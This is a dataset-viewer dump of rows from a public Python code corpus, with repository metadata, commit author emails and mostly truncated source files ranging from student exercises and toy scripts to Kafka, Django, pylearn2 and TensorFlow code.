] | ariel.iporre.rivas@gmail.com |
4de5a482ac1a2b84b0fc9163f756e769c371d213 | 407d4e49248cc7aa244d75439360b34cd8e57e71 | /venv/Scripts/easy_install-script.py | 53ca27394e3788212ea5e8cf08b912eade2cbd08 | [] | no_license | fati-ma/POS-tagger | 3c38e26919d6f2a27442bb200e3d6d6fdb57838d | d72981cb4976089b68000a43f9c82a9df192605b | refs/heads/main | 2023-07-31T14:25:43.363787 | 2021-09-21T12:46:51 | 2021-09-21T12:46:51 | 408,569,546 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 449 | py | #!C:\Users\delta\PycharmProjects\Test11\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install'
__requires__ = 'setuptools==40.8.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.e... | [
"fatima.atiyya@yahoo.com"
] | fatima.atiyya@yahoo.com |
4392e82cf5bce518c62400d99c6a9685baa753f0 | db8ddcd93af0386a2cdf7c06f131c5acbfbcc4af | /UE-6.2.py | 2043ffa531c2ac802df0d8ae21ed5431236ec966 | [] | no_license | Damanu/CP-UE | 584a088480d3252e389a70d64c98f64722d35a5d | 8264839363275cd4f585cec97b7868e1b31e0114 | refs/heads/master | 2021-01-10T18:01:14.338989 | 2016-01-14T10:11:31 | 2016-01-14T10:11:31 | 44,479,904 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 117 | py | #/usr/bin/python!
import matplotlib.pyplot as plt
import numpy as np
import sys
if __name__=="__main__":
main()
| [
"e.schwarzhans@gmx.at"
] | e.schwarzhans@gmx.at |
f6d5e74ffb4eeffb6b0b056154516157ac157cef | 1edf3c5a83c3d9d1fe63a38a67db667c89ee0642 | /botTester/unpredictable.py | 0d9e45bcfb074f7611b9ecea581d00d73c3ce08a | [] | no_license | roctbb/GoTo | e0ebbb9a70cd4c123a43d980299da043bc8537c2 | 6ba9cca18e106acc2e6d441dd98b597e397ec211 | refs/heads/master | 2020-05-21T20:13:52.486735 | 2018-11-18T09:38:35 | 2018-11-18T09:38:35 | 61,876,224 | 3 | 4 | null | null | null | null | UTF-8 | Python | false | false | 136 | py | __author__ = 'roctbb'
from random import choice
def step(history):
return choice(["камень", "ножницы","бумага"]) | [
"roctbb@gmail.com"
] | roctbb@gmail.com |
2bccf9d5a6413459ed13f822479d9f1f10160631 | bbc712831e5adeb0ea3b6434f5bbde63f2cbea34 | /delete.py | be28977592fb44ee804a25878b09ccb81c10ca8f | [] | no_license | gls369/database-sample | b5add9e46ffb03cc73bf24c55218aeed77efbd23 | c3da7cbf1bb9c2a504ce7841ffd38da7dffc9bb6 | refs/heads/master | 2020-04-12T11:10:22.085991 | 2018-12-20T13:13:29 | 2018-12-20T13:13:29 | 162,451,380 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 147 | py | import requests
import json
headers = {"Content-Type" : "application/json"}
res = requests.delete("http://127.0.0.1:5000/CV/1")
print (res.text) | [
"gls@live.hk"
] | gls@live.hk |
caa5d7f22e33db8b41abcb461289fd84c5a814ee | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/40/usersdata/78/24413/submittedfiles/main.py | eab508f3756a8f0f59276fbd4bed79017c152c6b | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 332 | py | # -*- coding: utf-8 -*-
from __future__ import division
import funcoes
#COMECE AQUI
m=int(input('digite o valor de m:')
e=input('digite o valor de epsilon:')
m=funcoes.absoluto(m)
pi=funcoes.pi(m)
cosseno=funcoes.cosseno(pi/5,e)
razaoaurea=funcoes.razaoaurea(m,e)
print('%.15f' %pi)
print('%.15f' %razaoaurea)
... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
1ea53c97efbef18c6d8500971ef041b011cad8a1 | 4467ac07a53475b5906471de1fd2354d9d277f83 | /pylearn2/models/dbm/sampling_procedure.py | bd6522e1b1bdab962a509475901ff0f3e608629d | [] | no_license | YS-L/pylearn2 | 01161cc0b160703aff39c41d2251736a51b0c1ae | 55e40690f104850bd336952692b17803c01dcb6c | refs/heads/master | 2020-02-26T13:15:24.420474 | 2014-02-19T23:23:41 | 2014-02-19T23:23:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,080 | py | __authors__ = ["Ian Goodfellow", "Vincent Dumoulin"]
__copyright__ = "Copyright 2012-2013, Universite de Montreal"
__credits__ = ["Ian Goodfellow"]
__license__ = "3-clause BSD"
__maintainer__ = "Ian Goodfellow"
from theano.compat import OrderedDict
from pylearn2.utils import py_integer_types
class SamplingProcedure(... | [
"markus.roth@herr-biber.de"
] | markus.roth@herr-biber.de |
6648b654370e9eee63bebb282364304a07b5731a | c422b95417eaa7ce3707f2b47c0742b53b726c19 | /pyrandall/kafka.py | 65c6fc3c280bc5fc38dedd7ab97e5fca6b427f18 | [
"Apache-2.0"
] | permissive | e7dal/pyrandall | ebd05aac5767fce7b4f148e1fac9b19d7b89c5a3 | 0d170fd6ad25332dfc819db1be09cdc2736a5e4c | refs/heads/master | 2021-01-05T17:49:01.623306 | 2019-09-27T11:33:58 | 2019-09-27T11:33:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,573 | py | import configparser
import io
import logging
import os
import sys
import time
from enum import Enum
from typing import Dict
from confluent_kafka.cimpl import Consumer, KafkaError, KafkaException, Producer
log = logging.getLogger("kafka")
class ConsumerState(Enum):
PARTITIONS_UNASSIGNED = 0
PARTITIONS_ASSIGN... | [
"stefano.oldeman@gmail.com"
] | stefano.oldeman@gmail.com |
074b33472fa2500bb79a13979ce9a9d46cd08fc4 | 764263f101d81d6c0dd9c7afc7d7a2a7db9a389b | /DoAnApi/models/comment.py | c7d8e0ea3e3930d639b4feb8e848d21df41b6ec0 | [] | no_license | nhucsau1995/DoAn | 9008522aea31117ae6c7057e51550c5dd35608b9 | 68366c8f4e3ac0fd3f8c81afed8ab4e67ae22765 | refs/heads/master | 2021-09-06T07:14:11.666586 | 2017-12-12T02:01:34 | 2017-12-12T02:01:34 | 112,214,991 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 588 | py | from django.db import models
from .userpj import User
from .post import Post
class Comment(models.Model):
objects = models.Manager()
user_id = models.ForeignKey(User, on_delete=models.CASCADE)
post_id = models.ForeignKey(Post, on_delete=models.CASCADE)
content = models.TextField(null=False, blank=Fal... | [
"nhucsau1995@gmail.com"
] | nhucsau1995@gmail.com |
abf7eb515ae21d5ef3f410269569113c07252f57 | 22b3e3b9d5137575f4a9c8b70703ffaecfe9a5a8 | /gauss1.py | 34384098fbae7656a4f61a8bb77a8c6f8855db6d | [] | no_license | abdcelikkanat/expemb | d2cee75fa5b533a294a3da2349cef326c627fc2e | e5180e9bceceba507cf4d6438541ea6d6ca541ab | refs/heads/master | 2020-03-22T09:58:20.236304 | 2018-07-18T15:53:14 | 2018-07-18T15:53:14 | 139,872,581 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,350 | py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"abdcelikkanat@gmail.com"
] | abdcelikkanat@gmail.com |
dab5a55c04a4f4242ed5725c95704470f8d27791 | aa30891b324f86fe9c6a3eeeb6a9b8ae64b7d81d | /ex043.py | 3f7ab5d16e10be268d9e4f0765ca04086af2ad88 | [] | no_license | JoamirS/Exercicios-Python | 0055c5f73b9d0fb2d5d780c620bb0c4840c7d1b8 | 09b74babdfdf7142254a8d14132859e52f7b52b6 | refs/heads/master | 2023-08-31T13:21:03.310332 | 2023-08-26T03:42:58 | 2023-08-26T03:42:58 | 178,745,611 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 874 | py | '''
Desenvolva uma lógica que leia o peso e a altura de uma pessoa, calcule seu IMC e mostre seu status, de acordo
com a tabela abaixo:
- Abaixo de 18.5: Abaixo do Peso | - Entre 18.5 e 25: Peso ideal | 25 até 30: Sobrepeso | 30 até 40: Obesidade
- Acima de 40: Obesidade Morbida
'''
#Declarando as variá... | [
"jmrsilveira@outlook.com"
] | jmrsilveira@outlook.com |
59a142c83b55cf70c1b11cd1a379207fea009324 | 3e97071e538e9a08d104b6937079ad2e87049028 | /GCAT_2_1_run_analysis.py | 760ae48f9c04298815635b92c26733b1b1306ed3 | [] | no_license | cuelee/regen | 4f26fba4fbb5f224d4f758b80bb8ff742909ce14 | dce9790b48c0228f4abb602b6b231908665a6ddb | refs/heads/master | 2020-03-21T22:15:28.880119 | 2018-07-11T10:46:41 | 2018-07-11T10:46:41 | 139,114,849 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,361 | py | ######################
## Created by Cue Hyunkyu Lee
## Date Jan 17 2018
##
## import modules
import sys
import os
## Read input arguments
print("The current code is: {}".format(sys.argv[0]));
print("The number of arguments is: {}".format(len(sys.argv)));
snp_file = sys.argv[1];
catalog_dir = os.path.dirname(snp_fil... | [
"cue.h.lee@gmail.com"
] | cue.h.lee@gmail.com |
32feabe5a60e6f5718692006002449e8ee5150a2 | 14825fa733275154b41452fcdb7d4a35ec897495 | /sim7020/sim7020_mqtt.py | 1ab17a41aa10bf44d3ece3c40f10b4209fbc81db | [
"MIT"
] | permissive | tedchiu/am7020_raspberry | 7865834000dbff920937a967facd797f4cd29d41 | 8b4acddb66ad056102a626cc6a5300ad98e43f0d | refs/heads/main | 2023-01-10T07:48:46.212758 | 2020-11-16T06:02:22 | 2020-11-16T06:02:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,687 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# sim7020_mqtt.py
# @Author : Zack Huang ()
# @Link : zack@atticedu.com
# @Date : 2020/11/7 下午4:12:24
from random import randint
from time import time, sleep
from typing import Dict
CONN_BROKER_TIMEOUT_MS = 90
NUM_OF_SUB = 30
class SIM7020MQTT():
def __init__(... | [
"zack@atticedu.com"
] | zack@atticedu.com |
26d720a549d070b0a29ae849b5a1da4a78b33e17 | 6996d66c2e5438af8e9ab534a168387ec437f846 | /ch3/queue.py | b0a4001b44950011ce3aa037799e2e3aef18b44c | [] | no_license | ziwenjie/datastructuer-in-python | f7d69ba69fb3ddbfba4c1d113ed8dcbd23f4c788 | eb044c04376681bb0d67456fe7d200c39af7ceea | refs/heads/master | 2022-12-03T13:52:46.427379 | 2020-08-27T08:10:17 | 2020-08-27T08:10:17 | 290,450,350 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 96 | py | from pythonds.basic.queue import Queue
q = Queue()
print(q.isEmpty())
q.enqueue('dog')
print(q) | [
"noreply@github.com"
] | ziwenjie.noreply@github.com |
3f225b2ed128a5ca734a39185b73e70d25f1f414 | ecd04e18c0bc7e690e81274a401602458becf9e5 | /scripts/test.py | 8442a76b9b62d776df40924ec2c0efee441f0f23 | [] | no_license | abner0908/cloud_robot | c7b69249af672e0c68ca7927e66aaaedd7e42047 | 98e2f7b9fbce6008bd82bfcbeed1aad7f22ff830 | refs/heads/master | 2016-08-12T08:28:13.239680 | 2016-05-04T07:06:45 | 2016-05-04T07:06:45 | 47,419,829 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,564 | py | from common import clock
class FPS:
def __init__(self):
# store the start time, end time, and total number of frames
# that were examined between the start and end intervals
self._start = None
self._end = None
self._numFrames = 0
self._window_size = 120
... | [
"abner0908@gmail.com"
] | abner0908@gmail.com |
a0632e225303452902c28c5c8052bdbbf59f3fea | 7fc11cb1ac572e46caa5d3a197ce7052d9ca0d59 | /check_process/add_new_contrib.py | c3664509be50c22c61625d59db72dd29c015d78b | [
"Apache-2.0"
] | permissive | agrogeophy/catalog | 247ed10f6c4b256e4de296f121594a8150aef7f1 | fcac33e4404436927fe92f03c9166e7ec459677a | refs/heads/master | 2023-04-07T21:09:10.705642 | 2022-03-15T17:51:24 | 2022-03-15T17:51:24 | 292,792,330 | 2 | 3 | null | 2021-01-12T09:54:06 | 2020-09-04T08:22:53 | JavaScript | UTF-8 | Python | false | false | 3,901 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Jan 26 18:31:14 2021
@author: Benjamin
"""
import sys
import pandas as pd
import json
import datetime
from datetime import date
import argparse
# import eml_parser
# import email
# from email import policy
# from email.parser import BytesParser
import rich.console
import ... | [
"36472081+BenjMy@users.noreply.github.com"
] | 36472081+BenjMy@users.noreply.github.com |
defc0969405d537025d9bf7bd5b186bcd14100b8 | c6456a52afd45432368f25350017f3821a63f0c9 | /hw2/part2/pytorch_pretrained_bert/tokenization_openai.py | 605566c013f1f58d5b682401b22c8a332c47d1fe | [] | no_license | haoen0116/Applied-Deep-Learning-HW | cd44d64c72c6964407dc1a7d559ae582eb50e4c6 | b315dce215a008a435b71e44761f468536fb6e4e | refs/heads/master | 2022-11-18T14:48:04.031224 | 2019-09-09T07:21:51 | 2019-09-09T07:21:51 | 207,227,238 | 0 | 1 | null | 2022-10-30T07:23:18 | 2019-09-09T04:58:15 | Python | UTF-8 | Python | false | false | 13,592 | py | # coding=utf-8
# Copyright 2018 The Open AI Team Authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | [
"hao.en0116@gmail.com"
] | hao.en0116@gmail.com |
e47a993956b0cf5a138d15c01e3ad44563245394 | 023167de90034d0ac4e3695db5d0fc419e298247 | /flash_examples/serve/translation/inference_server.py | f8f9c8dbce012db0f244cc5b81026cd00ef424f8 | [
"Apache-2.0"
] | permissive | dlangerm/lightning-flash | 9e66e90f86d597d362e5c307e391b623f509c092 | 892f7594fff40ebc4333b62a5c4e73b02549fb82 | refs/heads/master | 2023-08-06T22:11:56.467679 | 2021-09-29T11:00:22 | 2021-09-29T11:00:22 | 406,909,766 | 0 | 0 | Apache-2.0 | 2021-09-15T20:04:16 | 2021-09-15T20:04:15 | null | UTF-8 | Python | false | false | 754 | py | # Copyright The PyTorch Lightning team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... | [
"noreply@github.com"
] | dlangerm.noreply@github.com |
0f3329dce80da79fcd9ee3bdafee4cb57796d80a | 158bafd98b710ab36ef63055016ff2e085ea9b41 | /index6m.py | 5b4e5f3b76d29fd880093b89aef7328b1cc19d29 | [] | no_license | gestinf/StockScreeningScript | 02b2f6647d78c8038223658ab375ef055fb34b28 | 69420a7dfe9a6b56bd7e5fce682dee1cf1362306 | refs/heads/master | 2023-02-08T16:42:03.105653 | 2021-01-03T18:50:27 | 2021-01-03T18:50:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 554 | py | import yfinance as yf
import datetime as dt
import pandas as pd
def sixMonthIndex(tickers):
start = dt.datetime.today() - dt.timedelta(180)
end = dt.datetime.today()
cl_price = pd.DataFrame()
for ticker in tickers:
cl_price[ticker]= yf.download(ticker, start, end, period = "6mo")["Adj Clos... | [
"noreply@github.com"
] | gestinf.noreply@github.com |
2b1820b38378e49a3440992c21de43a88a98b68b | e2e2c0abaa3e3c861270fa2b920692a3ab86a8e0 | /particle.py | b922f75391d388cc62946ef8c6c6435c33fd492f | [
"WTFPL"
] | permissive | Super-Baleine/ENERGY | 02eddb723b33044c973549033b6c68089df6d13c | cb5659a405bbac12a8dec77a624fbedf60ca028d | refs/heads/master | 2020-09-14T15:00:45.467711 | 2016-11-13T21:33:55 | 2016-11-13T21:33:55 | 73,516,234 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,258 | py | # -*- coding: utf-8 -*-
## THESE PROGRAMS ALLOW YOU TO CALCULATE
## THE ENERGY OF A LIQUID, PARTICULE
## AND MAYBE SOME OTHERS THINGS NOT CODED YET
##LICENSE : DO WHAT THE FUCK YOU WANT
## ./particle.py argv1 argv2 --> argv1: speed particle && argv2: particle's mass
import sys,math
args=len(sys.argv)
if args != 3:
... | [
"paul.feuvraux@protonmail.ch"
] | paul.feuvraux@protonmail.ch |
39871474d306c16ceeeb0dd60dee92f61d97dd91 | 2478ed986c07760558be1a13fd6f3aada6fc34dd | /bin/python-config | 873d249504304d1d1601c3c50eac930c19521f1a | [] | no_license | Catravine/trydjango19 | ac5789d699277cd4252ad67e301427a240aecb3d | 382b67c5a9686f5355af2c83a46aad71e992d22b | refs/heads/master | 2021-01-12T05:07:58.170432 | 2017-01-02T21:31:46 | 2017-01-02T21:31:46 | 77,861,941 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,353 | #!/Users/carolinecourtney/trydjango19/bin/python
import sys
import getopt
import sysconfig
valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags',
'ldflags', 'help']
if sys.version_info >= (3, 2):
valid_opts.insert(-1, 'extension-suffix')
valid_opts.append('abiflags')
if sys.versio... | [
"caroline@carolinecourtney.com"
] | caroline@carolinecourtney.com | |
2c792ab5d17bbfbced2c1b30941ac5a73eb06cf3 | 6ec553e283ddb0bfdcec7cadca2c28afc473d41c | /daintree/urls.py | cbff6e40aaa1b6e17179d771da728d6253954477 | [] | no_license | rediumareanca/daintree | 47acaa8d04d62bd7e0bff5807ef5621871d872db | af60988d84b14da8f1c2cc6b7aaf4dcb760fb012 | refs/heads/master | 2020-12-14T08:55:49.620700 | 2017-07-04T07:56:26 | 2017-07-04T07:56:26 | 95,537,532 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 845 | py | """daintree URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-b... | [
"rediumareanca@ya.ru"
] | rediumareanca@ya.ru |
1aa85aa87001cc872500fac6fce0517c0467f91e | ac727c519f41b04bb7b8518b64f0c426c93ab3c4 | /Training/lendy/lendy.py | 5e988144b51f8ad45762e37b437955f82ba9a3bf | [] | no_license | gjwall/python | 82e704af4ddc993499cd81dedb4f81336a9de23a | a553b03556bf1ef01c63e1dfe3c3c2d0eefa95bd | refs/heads/master | 2021-01-21T06:19:12.078150 | 2017-03-10T21:51:43 | 2017-03-10T21:51:43 | 83,212,868 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,779 | py | #!C:\python36\python.exe
'''
Created on 10 Mar 2017
@author: Graham
'''
import sqlite3
import os
import lendydata
from flask import Flask, request, session, g, redirect, url_for, abort, \
render_template, flash
from werkzeug.utils import redirect
from flask.templating import render_template
... | [
"gjwall@users.noreply.github.com"
] | gjwall@users.noreply.github.com |
daad0f74486a33b4879a5f91f2cee804d83863f7 | 6305a4ce6818083c3962d02de7f1471864bc9f49 | /main.py | a19ed71fbd2b7c8b75c1c3eb7b9c6b1266702b4a | [
"MIT"
] | permissive | marioyc/parse-ml-tweets | b79c5fa2819d9c48bf084648d55ed2671179f337 | 3bedf6c33682c85020dc07557b37cf9ccd3d9a63 | refs/heads/master | 2021-03-24T10:06:59.540849 | 2016-08-27T15:58:09 | 2016-08-27T15:58:09 | 66,718,089 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,056 | py | import twitter
CONSUMER_KEY = ""
CONSUMER_SECRET = ""
ACCESS_TOKEN_KEY = ""
ACCESS_TOKEN_SECRET = ""
api = twitter.Api(consumer_key=CONSUMER_KEY,
consumer_secret=CONSUMER_SECRET,
access_token_key=ACCESS_TOKEN_KEY,
access_token_secret=ACCESS_TOKEN_SECRET)
US... | [
"ycmario@gmail.com"
] | ycmario@gmail.com |
13b2b9c390f93b4c58274db5a361c530327c3a2b | bbe74f172bf1f1cca1c77bd249c6f9a97ca897a4 | /probs11-20/prob13.py | 0e84fcee2846a2e45db91e51d3eefd773b8d39cf | [] | no_license | kruthar/euler | 5b32b7780502ff82e855c0c9670c91aff3938c5d | 18a59531f2108074de3a7db29a77017663753abc | refs/heads/master | 2021-01-13T13:19:54.723543 | 2016-02-22T14:53:45 | 2016-02-22T14:53:45 | 52,280,655 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,357 | py | __author__ = 'kruthar'
'''
Large Sum
Work out the first ten digits of the sum of the following one-hundred 50-digit numbers.
37107287533902102798797998220837590246510135740250
46376937677490009712648124896970078050417018260538
74324986199524741059474233309513058123726617309629
91942213363574161572522430563301811072406... | [
"kruthar@gmail.com"
] | kruthar@gmail.com |
95a31d8f1565fc8e7a66821758ac3eefce85f602 | 4fd0affb3da11fee35bc3d0e22a8acd3d6ebb159 | /experiments/__main__.py | c3cb8147d37a224ae0709f3e8f6912f4222e356f | [
"MIT"
] | permissive | hkrsnd/dilp-st | 2876c4ed43414fe6fb5d8ab577038588dcccf1e9 | 54ef5b4a8393bf534493cbb85e8f5da80b51c14c | refs/heads/main | 2023-04-19T14:01:30.624376 | 2021-05-24T11:46:56 | 2021-05-24T11:46:56 | 321,797,709 | 9 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,513 | py | import sys
sys.path.append('datasets')
sys.path.append('datasets/append/')
sys.path.append('src/')
sys.path.append('experiments/')
from data_utils import DataUtils
from normal import normal_experiment
from noise import noise_experiment
from softor import softor_experiment
from step import step_experiment
import argpar... | [
"microapple56@gmail.com"
] | microapple56@gmail.com |
ebe2a975ab70d15d04ef4c8c6afb5060da022d78 | 8a5f0ab7839a729867baf9be9919fb8ba89009df | /bad_compute.py | e04049579d86fc30afde4aa87bba3bdbc452b9df | [] | no_license | jdk-maxim/action-test-repo | ecd079cc064a619e56df62139332edb60b7fd201 | e23e22fc4a40b51f0a12eac893226516a6b7f635 | refs/heads/master | 2023-01-14T00:56:07.931588 | 2020-11-20T22:51:08 | 2020-11-20T22:51:08 | 302,100,610 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,773 | py | ###################################################################################################
# Copyright (C) 2018-2020 Maxim Integrated Products, Inc. All Rights Reserved.
#
# Maxim Integrated Products, Inc. Default Copyright Notice:
# https://www.maximintegrated.com/en/aboutus/legal/copyrights.html
#
# Wr... | [
"jeremy.kongs@maximintegrated.com"
] | jeremy.kongs@maximintegrated.com |
78577dda9d4141161071de69b743051cb5579cd6 | 2b5f2a19e3ba345faef6bffac322035b62858a00 | /pancakeSorting.py | 086e3a7bbd00137be6589ebc3125941b245a2800 | [] | no_license | QuiveryNinja/pancakeAlgorithm | 9416478ed1fc479462d7beb03d31ff3cbb874b47 | 810ebc9d57e62b6bafc8bda508eea4dc26bde7ef | refs/heads/master | 2022-12-23T16:31:20.040630 | 2020-09-30T17:26:45 | 2020-09-30T17:26:45 | 299,996,370 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 219 | py | pancakes = [2,3,1,7,4,0,5]
plate = []
def SortPancakes():
pancakes.sort()
i = 0
while i in pancakes:
plate.append(pancakes[-1])
pancakes.pop(-1)
return plate
print(SortPancakes())
| [
"noreply@github.com"
] | QuiveryNinja.noreply@github.com |
deb9a9a5bcbcf81070b70cbacf9f9c173d2f9875 | 1309ac4b1f497886010345fd41a14da469bf8780 | /VaretyrSpearSimulation.py | 3e5ae0a2418cbc6d4ea7e86963aba9ed71b68d65 | [] | no_license | sugky7302/Varetyr-Spear-Simulation | d851a69c283e42da211ffb021747c9aebf15076e | 8ddc47c102beabf29e8c6674023058a16250822d | refs/heads/master | 2020-03-26T04:57:06.312200 | 2018-08-13T08:00:05 | 2018-08-13T08:00:05 | 144,530,402 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,040 | py | from tkinter import *
from tkinter import ttk
from tkinter import scrolledtext
_VERSION = '0.1.0'
# 創建主視窗
window = Tk()
window.title("聖槍刺擊 " + _VERSION)
class NewEntry:
def __init__ (self, labelText, column, row):
self.newObject = {}
self.newObject['label'] = ttk.Label(window, text = labelText)
... | [
"sugky7302@gmail.com"
] | sugky7302@gmail.com |
b0b53b387467c7290b49d7c01a16691b782d9100 | 951b605ea41da28dccba6d3de63fb9211b7ad5b1 | /Mains/main.py | f3cabc1b8e650a5af81217b1b118a57e8a7327f4 | [
"MIT"
] | permissive | tiangeluo/DefectiveCNN | 99296f7a86efd3c4d044701f4e94388989cbd66a | fdbf5235adffa846630fadb4ff910de50870c077 | refs/heads/master | 2022-01-29T14:23:10.198712 | 2022-01-08T22:20:54 | 2022-01-08T22:20:54 | 222,830,775 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,648 | py | '''Train CIFAR10 with PyTorch.'''
from __future__ import print_function
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import torch.backends.cudnn as cudnn
import torchvision
import torchvision.transforms as transforms
import os
import argparse
#from models import *
f... | [
"tiangelce@gmail.com"
] | tiangelce@gmail.com |
e734127d3b880b7bdbc64335eccdd72f30d56e81 | 6b9ccdfb8a4d562f0b5122ef954ad76cb038b5d2 | /CNN/data_reader.py | d10dd8cef8a86768a76ccc71ea5e05e652a68e31 | [] | no_license | yFiLES/cut-marks-classification | 6d10e4a66c2b7302ef6eddffd2b635def9bfea82 | 6110647d38418cd07042a9f8533e9543a2f35f6e | refs/heads/master | 2022-05-31T20:05:47.768543 | 2019-03-11T17:36:19 | 2019-03-11T17:36:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,581 | py | #!/usr/bin/env python
# author: Wonmin Byeon (wonmin.byeon@gmail.com)
# data reader
import scipy.misc
import numpy as np
import glob
import random
import cv2
__author__ = "Wonmin Byeon"
__maintainer__ = "Wonmin Byeon"
__email__ = "wonmin.byeon@gmail.com"
np.random.seed(1234)
WORK_DIRECTORY = 'data/'
NUM_TEST_TM, ... | [
"wonmin.byeon@gmail.com"
] | wonmin.byeon@gmail.com |
c379e124c4ff17be1f63b28b14af4a7ae7cddbc6 | 42756a590390ea219b828a0d504b19705a22cd99 | /app/core/models.py | e2247dc93d6c43a4132d8f4c435d0a6aee531868 | [
"MIT"
] | permissive | namjo/recipe-app-api | d68fecec91f8f1cab3b8c14da5663e438eb49888 | 0eb8f1f51e8bc3cf010dd36e55a861ddd1b4cb23 | refs/heads/master | 2022-04-26T06:17:45.195474 | 2020-04-24T19:11:40 | 2020-04-24T19:11:40 | 256,265,354 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,600 | py | import uuid
import os
from django.db import models
from django.contrib.auth.models import AbstractBaseUser, BaseUserManager, \
PermissionsMixin
from django.conf import settings
def recipe_image_file_path(instance, filename):
"""Generate file path for new recipe image"""
... | [
"nam.johannes@gmail.com"
] | nam.johannes@gmail.com |
33f1b6e48e0c04a001cd1121b0aba0c6b0d1546a | 6d5510693f65f079e7ff672e064a81e4ff74ca2d | /H10_DMRG_curve.py | 9c3ee350183b1caa05e84df94a967fbdbf364fad | [] | no_license | gkc1000/SimonsExercises | 3612a1f78506ec86e97f30fdd04f197ecc4a6c0b | 0d4a7d9e4f29b0cd3594ae60957e8304693e8db8 | refs/heads/master | 2021-01-20T18:28:32.328247 | 2016-06-23T20:00:11 | 2016-06-23T20:00:11 | 61,827,692 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,050 | py | #!/usr/bin/env python
#
# Author: Qiming Sun <osirpt.sun@gmail.com>
#
from pyscf import gto
from pyscf import scf
from pyscf import mcscf
from pyscf import dmrgscf
import os
from pyscf.dmrgscf import settings
'''
Use DMRG program as the solver
The DMRG program is invoked through system call.
'''
b = 0.7
mol = gto.... | [
"gkc1000@gmail.com"
] | gkc1000@gmail.com |
214b3e555a47cc401125457c25dc90a26b14ef9c | cacc55e5a17ef2a8aee476235009f679fe959c30 | /setup.py | fa4f10f172c0e2da2c2bdb697870a24fe31fdb8c | [] | no_license | takers/Django-polls-vote- | b1379df8129de138987576d61fb73c0b1b186bea | aa12789c1960b40fb0af1d51a835057500ee2d5c | refs/heads/master | 2020-03-29T14:33:45.240048 | 2014-01-02T06:20:28 | 2014-01-02T06:20:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,083 | py | import os
from setuptools import setup
README = open(os.path.join(os.path.dirname(__file__), 'README.rst')).read()
# allow setup.py to be run from any path
os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))
setup(
name='django-polls',
version='0.1',
packages=['polls'],
inc... | [
"gab4real2013@gmail.com"
] | gab4real2013@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.